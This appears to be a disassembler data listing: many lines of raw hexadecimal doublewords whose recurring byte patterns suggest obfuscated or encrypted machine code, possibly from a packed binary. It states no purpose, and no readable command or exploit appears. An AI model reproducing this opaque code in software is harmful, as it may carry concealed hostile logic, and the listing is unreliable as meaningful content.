		dd 0E60E7BC3h, 24048167h, 7C1A4460h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 6DC35747h, 1FE24CC3h, 0BD8D8918h
		dd 89060731h, 72949BDh,	0D9D2906h, 0FF060726h, 712EDB5h
		dd 8DF88B06h, 0A7CFE85h, 0F1950306h, 0FF06072Eh, 0FD9D89D0h
		dd 89060716h, 7318585h,	398D2906h, 83060709h, 71515BDh
		dd 850F0006h, 112h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 19h, 2C35343h, 0A71BE593h,	8E997h,	39AC0000h
		dd 3B2063F4h, 92B9F6EDh, 0C6262069h, 71C4D85h, 9D315606h
		dd 607165Dh, 2E78166h, 77DF6813h, 8B0F611Eh, 2Bh, 14E8h
		dd 498E5600h, 0BC435CFCh, 0BFE32B37h, 0A12949D5h, 0FF670B07h
		dd 0BE8A1h, 6E640000h, 857E155Ch, 3AA6A23h, 815F5915h
		dd 0F55A2404h, 6A7300h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 0FBDB3BC3h, 1F0601D4h, 12EDB5FFh
		dd 14E90607h, 0E4000000h, 68CADC83h, 5FBCAB14h,	0AFBF1DEAh
		dd 0F73941B6h, 8DE4FEB4h, 0A7CFE85h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0EC18188h
		dd 8B28005Dh, 89D0FFCBh, 715658Dh, 15858906h, 0E9060715h
		dd 12h,	8BDA073Ah, 0B7743699h, 43E44F20h, 1DBBF144h, 85C62306h
		dd 6071C4Dh, 0CE8B666Ch, 11EA8166h, 4E8A3h, 70830000h
		dd 8B60DB05h, 11E8D9h, 38FD0000h, 9745CD2Ch, 0C0E02817h
		dd 513411DCh, 66F59B05h, 5B9DBEBEh, 9E85061h, 7B000000h
		dd 84084749h, 0DE4CBFh,	8B5BF38Ah, 66042444h, 8B79FDBAh
		dd 89D38A00h, 0B2042444h, 800F58F7h, 6,	2D699D8Bh, 0B5FF0607h
		dd 60701A9h, 3A13858Dh,	6A0607h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 7E6B9DC3h, 0A7308903h
		dd 89DFE812h, 70FB1B5h,	80D0FF06h, 85893CE1h, 60AA637h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 42C35242h
		dd 753589AEh, 8B046A32h, 471068D9h, 12E9A1EDh, 9C000000h
		dd 0CC519D65h, 0F49A077Ah, 0D7A3AA0Ah, 0CE4CCFFAh, 240481BFh
		dd 5E12C8F0h, 59D68B50h, 0C1A2E768h, 240481D9h,	263F5D19h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 37C35646h
		dd 0D9958B22h, 80060721h, 6ACBC5h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 15h, 46C35747h, 79CE8070h, 26B5B589h
		dd 95FF0607h, 60715F9h,	0A6438589h, 8166060Ah, 6AF7E4F2h
		dd 0DE8B6600h, 2E3C5A68h, 815F57DCh, 0C3A62404h, 95123D2h
		dd 7106995h, 8A505A06h,	240489DEh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 0DBC35141h,	94751F35h, 663E0AB0h
		dd 9E9DA8Bh, 41000000h,	9FDD58AFh, 1110EFBAh, 800F0B6Ah
		dd 6, 0A498D23h, 858D0607h, 60AA610h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 14h, 0C3C35040h,	958BEC8Ah, 6071E15h
		dd 4C59D8Bh, 50900607h,	0CE8h, 44471500h, 21D71005h, 4902519Bh
		dd 5AA0BB98h, 905A4E4Dh, 8B60D18Bh, 704AD8Dh, 61C28B06h
		dd 1D4995FFh, 840F0607h, 3, 8B5AFC51h, 7009595h, 1AB58D06h
		dd 6A060AA6h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 0B898C353h, 0D9E7EE73h, 85897763h
		dd 607179Dh, 0FD18D8Bh,	0E9960607h, 12h, 902E789Eh, 0B769EFC9h
		dd 0E49A07Fh, 0B6713B04h, 0E950CD23h, 0Bh, 0E8F74D61h
		dd 634D958Ah, 9678D84Bh, 66525050h, 0F9522B9h, 840F5131h
		dd 0
		dd 89585A5Bh, 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 80D4C3C3h, 95FFCBE5h, 6073185h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0A5C35747h
		dd 918D2393h, 0FF060704h, 98D8BD0h, 8B06072Ah, 0AA643B5h
		dd 85C7F506h, 60AA63Bh,	0
aFlA		db 'fڀ~ ',0
		db 0Fh
		dd 24E84h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 0E3F77EF7h, 9D34BDABh, 6060046Ah
		dd 2A0D9D2Bh, 14E90607h, 8F000000h, 0ADA95A22h,	6EA19E14h
		dd 7A172917h, 0A587DD50h, 618F293Fh, 8B20468Dh,	70689BDh
		dd 3F858906h, 89060AA6h, 71F2995h, 35E906h, 870F0000h
		dd 6, 1FD9BD8Bh, 6A400607h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 645FC351h, 0C370B4A1h
		dd 0A99D8B21h, 8006072Ah, 850F0038h, 0FFFFFFCEh, 0DE9h
		dd 8C09B900h, 0E5879DEBh, 0D4E4C2C7h, 0DE96FB8h, 89000000h
		dd 7001995h, 95294806h,	6072639h, 0F5C3880h, 2884h, 8052B200h
		dd 840F2F38h, 1Dh, 2E559D2Bh, 0B70F0607h, 3F853BDFh, 0F060AA6h
		dd 0FFFFD083h, 259D8BFFh, 8A06071Eh, 6A40FEh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 958B2AC3h
		dd 6072205h, 0A647BD83h, 0F00060Ah, 6084h, 0A1858900h
		dd 90060716h, 57CBBA66h, 909BB350h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 3FC35646h, 0A6478503h, 6A060Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 30924C3h, 71EB595h, 0C606h, 0F8DB589h, 0B2580607h, 595350C8h
		dd 89240489h, 7268D85h,	33B5FF06h, 66060AA6h, 0FF31A3BAh
		dd 0AA63795h, 15958906h, 0B060700h, 1F850FC0h, 31000000h
		dd 7198185h, 0BF0F6106h, 3B85C7CAh, 1060AA6h, 0E9000000h
		dd 87h,	1F5D9501h, 60610607h, 0F5DB8166h, 0C995318Eh, 6106071Ch
		dd 11CC681h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 90F23C3h, 9237AD0Ah, 98A0Fh, 850F0000h
		dd 3, 8BF8B70Fh, 0FDDDE9DEh, 6AFFFFh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 0E9B30CC3h
		dd 0Dh,	761CC9AFh, 11934E39h, 3D8EC241h, 0C5BD89A7h, 68060716h
		dd 3FEFECA6h, 13E9h, 3CC00000h,	0EDC7C653h, 0AFB01FCAh
		dd 0EB7B4E51h, 6A45CEF2h, 0A6243481h, 6A3FEF6Ch, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 0D853C352h, 81CA6770h, 0F98D896Eh, 6A060720h, 74BF6600h
		dd 43B5FFFCh, 9060AA6h,	71C7DBDh, 0FFFB8B06h, 7151595h
		dd 7E806h, 0E4A70000h, 0BB256D5Bh, 0D2B70FA1h, 3B858B59h
		dd 6A060AA6h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 5B39C352h, 9D8B2A60h, 6071FF5h
		dd 52525050h, 0F59C3B7h, 8B525031h, 66310FF8h, 585AF88Bh
		dd 489585Ah, 6880F24h, 29000000h, 7006D95h, 4B858D06h
		dd 6A060AA6h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 6BFC352h, 69B589BDh, 5006070Ah
		dd 489D18Bh, 57006A24h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 904D70DEh, 619D8B1Eh, 8D06071Fh
		dd 0AA60885h, 3890F06h,	80000000h, 8A5042C9h, 240489FAh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 8AC35242h
		dd 60037BE6h, 7B18509h,	0BD010607h, 60710B5h, 2860F61h
		dd 8A000000h, 0F995FFFAh, 1060708h, 70B318Dh, 29C08B06h
		dd 7161595h, 1BD8306h, 60731h, 0BD830975h, 6070A55h, 50137400h
		dd 0B8C08B53h, 4D0h, 0B22D9D8Dh, 0D3FF0609h, 0BD83585Bh
		dd 6070A55h, 50117400h,	4D0B853h, 9D8D0000h, 609B12Ch
		dd 585BD3FFh, 0DE9h, 108B9300h,	1287F4FDh, 0F843B888h
		dd 8B662C4Fh, 57006AF8h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 8BC08B29h, 71E218Dh, 6A5806h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 7194CC3h, 0BDA5FDF3h, 29B19D89h, 95890607h, 60705B9h
		dd 6A0008C2h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 0B3FEC350h, 6EF1214Dh,	0E3902867h
		dd 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 0B9006FC3h, 7CE6EC37h, 0A665858Dh, 8960060Ah
		dd 7268585h, 85896106h,	60725F1h, 75E9h, 8C666000h, 0F04A8D8h
		dd 3584h, 0FF016A00h, 701A9B5h,	0FE858D06h, 0FF060A7Ch
		dd 2D8589D0h, 8B060733h, 0CEFC1FEh, 4000068h, 6A006A20h
		dd 0D685702h, 0FF000100h, 7332D95h, 32E906h, 85C60000h
		dd 6071C4Dh, 30DF6856h,	0B5FFA9C5h, 60712EDh, 7CFE858Dh
		dd 0D0FF060Ah, 3C98589h, 858D0607h, 6072AC5h, 6A206A50h
		dd 95FF5605h, 60703C9h,	0E0C1C361h, 39EB06h, 0CC00BF00h
		dd 0E400BF02h, 0BF02h, 0C7000000h, 9EBBC224h, 858ADB28h
		dd 1DECA20h, 56B3C124h,	0F1B2CB63h, 8A8AE14Dh, 29DEE301h
		dd 0D6AEE039h, 0ABB6FB23h, 0ECBACE28h, 21DEC52Dh, 3BDEACA5h
		dd 5E818F4Dh, 0EAA22612h, 439A2E49h, 0B3DEB349h, 1A89E84Dh
		dd 12A6E1F1h, 8F98E58Dh, 511E248Dh, 9E36F94Dh, 0EEDEAF4Dh
		dd 0EE806C13h, 32DA8B39h, 0C2DA8B09h, 0AADEAF4Dh, 7DAC6C1Bh
		dd 9C87CAEDh, 205DBAF8h, 0C8D99E4Ch, 0E4D7DA4Dh, 0B4D4FAF0h
		dd 0C0AAAF4Bh, 2C55FC1Dh, 76DA16F5h, 965B264Dh,	10D8A866h
		dd 0C76D5DD0h, 3C0D504Bh, 0E6632C15h, 0D9D8A847h, 0BF8EB839h
		dd 76DA16F5h, 965B264Dh, 10D8A866h, 0C76E4ED0h,	3C0D504Bh
		dd 0E6DEC515h, 0D9DEACA5h, 2F838F4Dh, 52B22610h, 1F9A2E49h
		dd 9DDEB249h, 0D8BEA4Dh, 6A7852B7h, 0E68E8D90h,	0CD37337Eh
		dd 12DEAF4Dh, 66D52DB0h, 49210D30h, 0B11B7186h,	0E19D1285h
		dd 0ECA426B0h, 0B4C41EF8h, 3043264Bh, 67D8A845h, 235B868Dh
		dd 0D2D8A85Fh, 9DDEAF5Fh, 6E653183h, 0E2691038h, 148E6B9Fh
		dd 5BD91DBFh, 6918EAF0h, 70D9B300h, 5B0E1A1Bh, 995312C4h
		dd 876AA94Ah, 0BE89C72Ch, 48553AAFh, 0DCFA9BCCh, 86D7E52Ch
		dd 7536FE4Dh, 1BDEAF4Dh, 14876C14h, 4FDA8B01h, 7FDA8B09h
		dd 0F2DEAF4Dh, 5FDB6C1Ch, 13ABF2C4h, 71CC42F8h,	0B6B91D4Bh
		dd 97A251C8h, 9DDEC54Bh, 67DEACA5h, 70858F4Dh, 0FD822616h
		dd 0C89A2E49h, 76DEB449h, 0F88DEC4Dh, 634F0B2Bh, 0A63D29F2h
		dd 67B47FB2h, 0B3DD4718h, 84FEAF4Dh, 8057F28Eh,	325FAB69h
		dd 3BC4AB69h, 0C89BAF4Dh, 1233B68Eh, 0D54543C1h, 0B420162Bh
		dd 0D9B4AB27h, 0ECDD471Ah, 29FEAF4Dh, 4757F08Eh, 0D95FAB69h
		dd 0CECAAB69h, 3099AF4Dh, 6F75D8Eh, 0DFD9895Ch,	0B49F2825h
		dd 52DA2E8Ch, 5796134h,	8F3B12C6h, 71D1A94Ah, 67DA47BEh
		dd 0B132AF4Dh, 0B9BEAF4Dh, 56B851C6h, 26BFA892h, 3487FC1Fh
		dd 9DD0477Ch, 67ADAF4Dh, 22493CB9h, 0B44510A4h,	34E83F18h
		dd 8D86F513h, 755CA01Dh, 5DDEAF4Dh, 0D95558C6h,	0CE55AB69h
		dd 2FC340F2h, 979A260Dh, 0BF8CFF49h, 0E34FB3F3h, 2C80FE7Ch
		dd 3BB4F715h, 9DDD4718h, 93FEAF4Dh, 0B57F28Eh, 0F75FAB69h
		dd 0D9C3AB69h, 0B99BAF4Dh, 7B5C18Eh, 9186B90Bh,	1672D9A4h
		dd 0C9F15AF8h, 0ECDEC54Bh, 0B4F7E6F8h, 0B30E504Bh, 0EF36FC4Dh
		dd 56DEAF4Dh, 0B2856C16h, 1CDA8B11h, 0D7DA8B09h, 24DEAF4Dh
		dd 42216C1Eh, 0CCADDA31h, 0ECDB2242h, 5761AF4Dh, 0B2ACC38Ah
		dd 976DC9C8h, 9FDEC54Bh, 67DEACA5h, 70878F4Dh, 0FD922614h
		dd 0C89A2E49h, 76DEBB49h, 0F88FEE4Dh, 946B9EB9h, 45D8A860h
		dd 6512AAB5h, 3657AF4Dh, 0DFD41C27h, 65C66FCEh,	7C6DC1C8h
		dd 821E9C4Bh, 9DDEADA1h, 735505BEh, 61D9A80Ch, 0CE5B242Dh
		dd 0D6D8A858h, 0EFBF55F2h, 71D57AC0h, 765B694Bh, 0DED8A851h
		dd 0A60E1042h, 0E5BFC196h, 0B3DEAAA5h, 57E4154Dh, 0E7642FE8h
		dd 2984BD72h, 0BEFA9BCCh, 74C0A948h, 0CEDEAF4Bh, 773BA97Ah
		dd 0B437FABAh, 29DEAF4Dh, 0B653951Eh, 0C321E707h, 3DD9BDA0h
		dd 9DDEA8A4h, 3CA5E84Dh, 50DDC373h, 0CF202AC0h,	0D6BEA947h
		dd 0ECDEA9CFh, 0F36B244Dh, 34D8A846h, 9DDEBFCAh, 0CED5464Dh
		dd 0C802AF4Dh, 0EA8BB980h, 0E3BC317Ah, 3C21CEABh, 0FF281042h
		dd 3CC5D2C8h, 0CDDEC54Bh, 0CEDEACA5h, 0A4868F4Dh, 979A2615h
		dd 0FD9A2E49h, 0ECDEB849h, 0B58EEF4Dh, 0C636AFABh, 9B53A02Dh
		dd 4FDEAF4Dh, 0AA846CAFh, 26F7CF68h, 0DFD99EE0h, 0DECF12C4h
		dd 17BFA94Ah, 33F72AC0h, 9DB4A94Ah, 0CEDD471Dh,	3FFEAF4Dh
		dd 0F757F78Eh, 9D5FAB69h, 0ECC9AB69h, 269EAF4Dh, 96E8FF8Eh
		dd 505B26E6h, 0A4D8A856h, 6436F84Dh, 93DEAF4Dh,	50816C12h
		dd 6DDA8B31h, 61DA8B09h, 7CDEAF4Dh, 0AEB6C1Ah, 26543E4Ah
		dd 7B932A8Bh, 0D8DA94Ah, 0FEEB69F6h, 0F78F12C6h, 7236A94Ah
		dd 0E3DEAF4Dh, 92221E05h, 0CEDEBACCh, 67CE464Dh, 7A91AF4Dh
		dd 9D3F4231h, 3A6955A2h, 34BA0598h, 5B8EB908h, 24B8F01Bh
		dd 45BF84C5h, 8FDA8B09h, 0B3DEAF46h, 7EC287AEh,	60F2E693h
		dd 9F239291h, 3BDEAF41h, 0F35E3C82h, 3091F58Dh,	0F02694A0h
		dd 0E0DE2417h, 0D9DEBDA5h, 9D51CB4Dh, 28B284EFh, 5D8147DFh
		dd 0F7D563FDh, 265EF2AFh, 67DEAF44h, 9B11B9EAh,	89B63905h
		dd 0B580F616h, 72FAEBC4h, 3BDEAAA4h, 6FE3944Dh,	3186ADEDh
		dd 60CC42F8h, 8E63264Bh, 54D8A867h, 0E6A251C8h,	26DEC54Bh
		dd 3BDEACA5h, 5E868F4Dh, 0EA9A2615h, 439A2E49h,	0B3DEB249h
		dd 1A8EEF4Dh, 0B294677Eh, 156F782Dh, 8657E642h,	9BD98078h
		dd 1F5F7FB2h, 5A759276h, 0B3DEBDA4h, 0F0341C4Dh, 45FD9D81h
		dd 0CD148E89h, 9E743371h, 14F6D829h, 0C9ECAEC8h, 6236FC4Bh
		dd 0CDDEAF4Dh, 0A0054E37h, 0ECD33AC6h, 2C80A94Ah, 27932A8Bh
		dd 0F78DA94Ah, 0CD36FC4Dh, 47DEAF4Dh, 3A856C16h, 58DA8B11h
		dd 0F6DA8B09h, 35DEAF4Dh, 47F76C1Eh, 67974B00h,	0CF63240Ch
		dd 0FD8A85Bh, 30C87368h, 0ED5F61C6h, 0E2C63969h, 0F753A416h
		dd 0C4D8A846h, 9ACC42F8h, 0F753244Bh, 0EAD8A866h, 0B9A251C8h
		dd 8BDEC54Bh, 0ECDEACA5h, 0B5848F4Dh, 1F8A2617h, 0B99A2E49h
		dd 0CEDEB449h, 0A48CED4Dh, 7BA0A1EEh, 0C237F6E2h, 0ECD82442h
		dd 0FB57AF4Dh, 3DD9AAECh, 9DB47FB2h, 0CEDD471Fh, 3DFEAF4Dh
		dd 0E757F58Eh, 9D5FAB69h, 0ECC9AB69h, 249CAF4Dh, 0C04C48Eh
		dd 9DD14624h, 1BC9AF4Dh, 0AA40A73Ch, 167DEFC2h,	332D914Eh
		dd 0A42C2EA4h, 0FFD8E778h, 3CCBEAC8h, 0CFDEC54Bh, 0CEDEACA5h
		dd 0A4848F4Dh, 978A2617h, 0FD9A2E49h, 0ECDEB449h, 0B58CED4Dh
		dd 0DDD5E7EEh, 828B0B97h, 0D8CB127Ch, 0F255A94Ah, 0B5D9B314h
		dd 0C5932A8Bh, 499A94Ah, 76DEAF4Ah, 4BA736C9h, 9C097393h
		dd 0C9F3BEF0h, 955EF64Bh, 0B3DA475Bh, 477AF4Dh,	6CD11893h
		dd 76DEAF48h, 0B58A3CF4h, 6E55FF50h, 0CAFAEBC6h, 7336AFC6h
		dd 0C1DEAF4Dh, 574C7366h, 6081E100h, 0A1F5042Ch, 807AAF1Fh
		dd 0C49978CBh, 0CAFAEBC4h, 67C02142h, 0E18EAF4Dh, 0D9DEBFA5h
		dd 0D161144Dh, 0D4751DE3h, 92DA920h, 447F6CBDh,	0FFD1F118h
		dd 3F84F11Fh, 5E6B5015h, 0B3D8A85Fh, 0EF36FE4Dh, 56DEAF4Dh
		dd 0B2876C14h, 1CDA8B01h, 0D5DA8B09h, 26DEAF4Dh, 0D68D6C1Ch
		dd 0A5092A67h, 7955872Eh, 70D98EE4h, 0C55B22B8h, 94D8A531h
		dd 0C9F3BEC8h, 0D0E504Bh, 0B036FD4Dh, 0F9DEAF4Dh, 65846C17h
		dd 0F7DA8B19h, 21DA8B09h, 0DFDEAF4Dh, 15A6C1Fh,	0BE1A8EFBh
		dd 3A5B26DFh, 0B3D8A860h, 0EF36FC4Dh, 56DEAF4Dh, 0B2856C16h
		dd 1CDA8B11h, 0D2DA8B09h, 24DEAF4Dh, 93756C1Eh,	43EFE0FEh
		dd 6D7E1333h, 0BA06E18Fh, 765B697Ch, 0DAD8A851h, 2688AF27h
		dd 67DEAF4Eh, 0ED1DF16Dh, 0DDFADBC4h, 0E8FAEBCCh, 76DEAF58h
		dd 261DF90Bh, 806B2447h, 0A6D8A845h, 0AC53967Dh, 875F32F8h
		dd 88F7E569h, 0BDDEC507h, 76DEACA5h, 0F8878F4Dh, 0B9922614h
		dd 0EA9A2E49h, 67DEB549h, 708FEE4Dh, 9698279Dh,	5818867h
		dd 76DEAF43h, 0A4EC1F01h, 0D64C9F4h, 84F195A8h,	0EA577746h
		dd 0B5D9A8D8h, 0CB331AB2h, 67BEA94Ah, 71C7A6D8h, 3BD5464Bh
		dd 565AF4Dh, 0EA4561FDh, 8BFCCEC8h, 3653CE9Ch, 0DFD4D3B3h
		dd 48BAF27h, 76DEAF4Eh,	661DF26Dh, 99FAC3C4h, 0CAFAEBCCh
		dd 67DEAF56h, 501DFA08h, 8D3061A0h, 0DDAB3B35h,	71F1CEF0h
		dd 510E504Bh, 9E36FE4Dh, 0EEDEAF4Dh, 0EE876C14h, 32DA8B01h
		dd 0C1DA8B09h, 0ADDEAF4Dh, 19F26C1Ch, 0B1F48C88h, 0C4532481h
		dd 47D8A86Fh, 60C44EC8h, 2211104Bh, 5C189975h, 0EAD9B300h
		dd 841C2E0Ah, 53E5CF4Bh, 7EDB3EAFh, 0FA5F5CC7h,	0AF731069h
		dd 0E3DEC504h, 0D9DEACA5h, 2F868F4Dh, 529A2615h, 1F9A2E49h
		dd 9DDEB749h, 0D8EEF4Dh, 5CBAC627h, 38D1F85Ch, 0D9DEAF5Fh
		dd 0ECDEA3A5h, 3ED6C44Dh, 95E82CBBh, 41D581B8h,	3184F6BFh
		dd 60CC42F8h, 3E2A254Bh, 0D3A251C8h, 0BFDEC54Bh, 76DEACA5h
		dd 0F8858F4Dh, 0B9822616h, 0EA9A2E49h, 67DEB649h, 708DEC4Dh
		dd 197DC24Ch, 3C218F74h, 69073264h, 0BE57A94Ah,	9BD985E8h
		dd 268DAF27h, 67DEAF4Eh, 0E81DF46Dh, 0DDFAF3C4h, 0E8FAEBCCh
		dd 76DEAF51h, 901DFC0Eh, 0B67A9F3Dh, 0F6DF21D3h, 4A7F2AC4h
		dd 6054A94Ah, 60B87FB2h, 6957BA6Fh, 70D9BA34h, 0D38CAF27h
		dd 9DDEAF4Eh, 941DF56Dh, 63FAFBC4h, 0B7FAEBCCh,	0D9DEAF51h
		dd 0C51DFD0Fh, 83EA7A4Dh, 7149FDA1h, 9E1B3AC6h,	7357A94Ah
		dd 61D9B234h, 0D906232Bh, 0DA36FC4Dh, 0CCDEAF4Dh, 0FF856C16h
		dd 0BADA8B11h, 88DA8B09h, 8DDEAF4Dh, 0B3BE6C1Eh, 0B7FA5AFBh
		dd 0D3673AC6h, 2CD4A94Ah, 75882B42h, 956FAF4Dh,	81932A8Bh
		dd 0A491A94Ah, 6436F84Dh, 93DEAF4Dh, 50816C12h,	6DDA8B31h
		dd 61DA8B09h, 7CDEAF4Dh, 761B6C1Ah, 53575E99h, 61D98D3Ch
		dd 0B3DEABA5h, 59B26B4Dh, 0D560C9F2h, 0F7D1FFA3h, 3BDEAF41h
		dd 1CD1FD1Dh, 0CEDEAF4Dh, 3F849E42h, 0B7FAEBC6h, 0D9DEBFA4h
		dd 59DE664Dh, 0D4B5EEB5h, 0F5E3B0E0h, 9C673F73h, 27DE247Ch
		dd 67DEAF43h, 5F4F2D9Eh, 0F10BF363h, 0A0502C83h, 325753B2h
		dd 3336AB69h, 0B2DEAF4Dh, 0E2B9CDA0h, 8EF136BFh, 0B3DEAF59h
		dd 0AE63FBC4h, 0A27EBC6h, 3263D4E5h, 0EAC11E76h, 0F6239EC5h
		dd 0CEB4F712h, 67DD471Ah, 0ECFEAF4Dh, 0A557F08Eh, 0A85FAB69h
		dd 76C3AB69h, 6C99AF4Dh, 524D238Eh, 766CB202h, 8EA85460h
		dd 0B3DEAF42h, 610CFE06h, 0A6635680h, 8E89A07Ch, 0C47053BEh
		dd 9ACC42F8h, 0CB53A04Bh, 1DEAF4Dh, 0C8A260CCh,	0A5202AC0h
		dd 0ECB4A947h, 76DD471Bh, 65FEAF4Dh, 0E957F18Eh, 8A5FAB69h
		dd 67CAAB69h, 0E598AF4Dh, 5CDF5B8Eh, 0EAD9B38Ch, 76B47FB2h
		dd 3BDD471Eh, 0C6FEAF4Dh, 9257F48Eh, 235FAB69h,	0B3C6AB69h
		dd 8A9DAF4Dh, 190E568Eh, 0B65D5C7Dh, 69DEC569h,	9DDEACA5h
		dd 0D848F4Dh, 438A2617h
		dd 979A2E49h, 0D9DEB749h, 2F8CED4Dh, 2A24DDD1h,	0AA5B262Ch
		dd 92D8A856h, 0CEDEA0CDh, 67D4464Dh, 3DB8AF4Dh,	736EDB94h
		dd 58338EBCh, 63A72AC6h, 3BB4A94Ah, 9DDD471Dh, 96FEAF4Dh
		dd 2357F78Eh, 0F75FAB69h, 0D9CBAB69h, 0BC9EAF4Dh, 5F53558Eh
		dd 3CCE92D8h, 0B86BAE4Bh, 45D8A861h, 60F40AD0h,	0E0DEC54Bh
		dd 0D9DEACA5h, 2F858F4Dh, 52822616h, 1F9A2E49h,	9DDEB649h
		dd 0D8DEC4Dh, 4C76D980h, 65549FFh, 0DFD98998h, 5157ECB1h
		dd 70D9A894h, 3BDD2142h, 5F5EAF4Dh, 0A8C5247Ah,	7C5556C6h
		dd 0E55CF1Ch, 0DFD9A8C8h, 0ECDEBFA5h, 678994Dh,	798B8628h
		dd 445535C1h, 0E530C042h, 39BFF105h, 0B3DEA2A4h, 2EDC904Dh
		dd 0ACFB9F1Ah, 0EAAD8994h, 20551A7Eh, 0D10C2E2Bh, 469A026h
		dd 0E4D1777Eh, 0B3DEAF48h, 379D34F7h, 0E9432640h, 8AD8A87Eh
		dd 27932A8Bh, 0FB99A94Ah, 0A62EC0F4h, 0E9481D75h, 0BA434CF2h
		dd 0FDEA2E7Eh, 0D596C0DCh, 9E8EAF27h, 3BDEAF4Eh, 0C51DF76Dh
		dd 0CAFAEBC4h, 63FAEBCCh, 0B3DEAF56h, 901DFF0Dh, 1AABBE12h
		dd 793F547Bh, 3BDEAEC1h, 9337534Dh, 2DDEAF4Dh, 32A3BA98h
		dd 0E6D26A33h, 6628E39Ah, 16B5083h, 10D8A85Fh, 0AE5578C6h
		dd 9BD9A5A8h, 0B2202AC0h, 0DA55A947h, 0B5D98FACh, 9687FB2h
		dd 695756C6h, 70D982C4h, 2E9F12C6h, 169EA94Ah, 9DDEC54Dh
		dd 67DEACA5h, 70858F4Dh, 0FD822616h, 0C89A2E49h, 76DEB349h
		dd 0F88DEC4Dh, 0FCF5A211h, 4E388EC5h, 0A064C976h, 5ADE2400h
		dd 0D9DEAF5Dh, 0A42469B1h, 0A66EB5B5h, 0F7B07BEFh, 10064924h
		dd 0DEAF2AC4h, 67B4A94Ah, 0B3DD471Ah, 86FEAF4Dh, 9057F08Eh
		dd 325FAB69h, 3BC5AB69h, 0CA99AF4Dh, 2088008Eh,	10E4F2A1h
		dd 22632463h, 30D8A854h, 0ECDEAECDh, 76C82742h,	3536AF4Dh
		dd 41DEAF4Dh, 0CAF6B4D5h, 0F218EEE0h, 551F15BCh, 80BFCF6Dh
		dd 5F522AC0h, 76B4A947h, 3BDD471Eh, 0C6FEAF4Dh,	9257F48Eh
		dd 235FAB69h, 0B3C9AB69h, 8A9DAF4Dh, 0D3CE928Eh, 83532467h
		dd 0ABD8A868h, 471E101Ch, 9E80D910h, 4053151Ch,	2380C54Ah
		dd 3189AF27h, 0ECDEAF4Eh, 291DF06Dh, 3FFAD3C4h,	99FAEBCCh
		dd 0CEDEAF5Ah, 621DF80Ah, 0BCBCB8CCh, 0D9DEACCBh, 1455C94Dh
		dd 772B3AB2h, 3BB4A94Ah, 9DDD471Bh, 90FEAF4Dh, 1357F18Eh
		dd 0F75FAB69h, 0D9C5AB69h, 0BA98AF4Dh, 6D3F958Eh, 80258F6Eh
		dd 20ED5762h, 0C8D98544h, 41733AC6h, 2E53A94Ah,	0DFD41CDFh
		dd 48EAF27h, 76DEAF4Eh,	631DF76Dh, 99FAEBC4h, 0CAFAEBCCh
		dd 67DEAF54h, 0DA1DFF0Dh, 5B971350h, 0ECCD4612h, 0D7C7AF4Dh
		dd 0C330051Ah, 0EDE9E41Dh, 14198221h, 54EFA986h, 0AF57FF75h
		dd 89BEFF69h, 0E3BFCF1Fh, 0F764C97Ch, 5D86F5C4h, 14BF64C6h
		dd 0C3368B49h, 5ADEAF4Dh, 6716624Ch, 8B8B16B1h,	8329054Bh
		dd 76DEBBA5h, 37F2664Dh, 13E6405Fh, 0EA151FF6h,	559C2438h
		dd 26D4EEC4h, 10432680h, 0B5D8A849h, 0F34B5012h, 34D8A87Ch
		dd 18575FFAh, 0C8D9B4DCh, 8F8BAF27h, 0B3DEAF4Eh, 841DF26Dh
		dd 0E8FAC3C4h, 72FAEBCCh, 3BDEAF5Bh, 0B51DFA08h, 2722EFCEh
		dd 67DEAF41h, 9EFF1E48h, 23045B27h, 92B305B9h, 6A932A8Bh
		dd 518DA94Ah, 9E36FE4Dh, 0EEDEAF4Dh, 0EE876C14h, 32DA8B01h
		dd 0CCDA8B09h, 0ADDEAF4Dh, 0EF966C1Ch, 3BDEABA5h, 1A5AD04Dh
		dd 9E2D24E7h, 0C13BB1F3h, 979A2479h, 0DB5DA049h, 67DEAF4Dh
		dd 0FFDE2482h, 0D3DA8B09h, 9DDEAF48h, 561924F5h, 7361C951h
		dd 0D986F0F3h, 0DA36FF4Dh, 0CCDEAF4Dh, 0FF866C15h, 0BADA8B09h
